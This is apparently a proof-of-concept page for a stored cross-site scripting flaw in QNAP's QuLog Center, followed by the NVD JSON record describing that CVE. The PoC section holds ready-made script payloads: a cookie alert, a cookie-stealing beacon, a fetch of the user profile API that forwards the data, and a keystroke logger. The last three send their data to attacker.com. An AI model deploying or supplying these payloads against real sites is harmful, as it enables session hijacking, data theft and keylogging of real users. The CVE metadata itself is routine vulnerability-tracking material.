CVE-2025-54168

<!-- CVE-2025-54168 PoC: Stored XSS in QuLog Center --> <!-- Requires admin privileges to inject payload --> <!-- XSS Payload --> <script>alert(document.cookie)</script> <!-- More sophisticated payload for data exfiltration --> <script> // Steal session cookies var cookies = document.cookie; var img = new Image(); img.src = 'https://attacker.com/log?c=' + encodeURIComponent(cookies); </script> <!-- JSONP-based data theft --> <script> fetch('/api/user/profile') .then(r => r.json()) .then(data => { fetch('https://attacker.com/exfil?data=' + JSON.stringify(data)); }); </script> <!-- Keylogger payload --> <script> document.addEventListener('keypress', function(e) { new Image().src = 'https://attacker.com/klog?k=' + e.key; }); </script>

{"cve": {"id": "CVE-2025-54168", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:40.273", "lastModified": "2025-11-14T20:13:07.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability has been reported to affect QuLog Center. If a remote attacker gains an administrator account, they can then exploit the vulnerability to bypass security mechanisms or read application data.\n\nWe have already fixed the vulnerability in the following version:\nQuLog Center 1.8.2.923 ( 2025/08/27 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.2, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qulog_center:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.8.0.872", "versionEndExcluding": "1.8.2.923", "matchCriteriaId": "82A326B6-A078-4861-A5AF-1190E25B9DF7"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-42", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}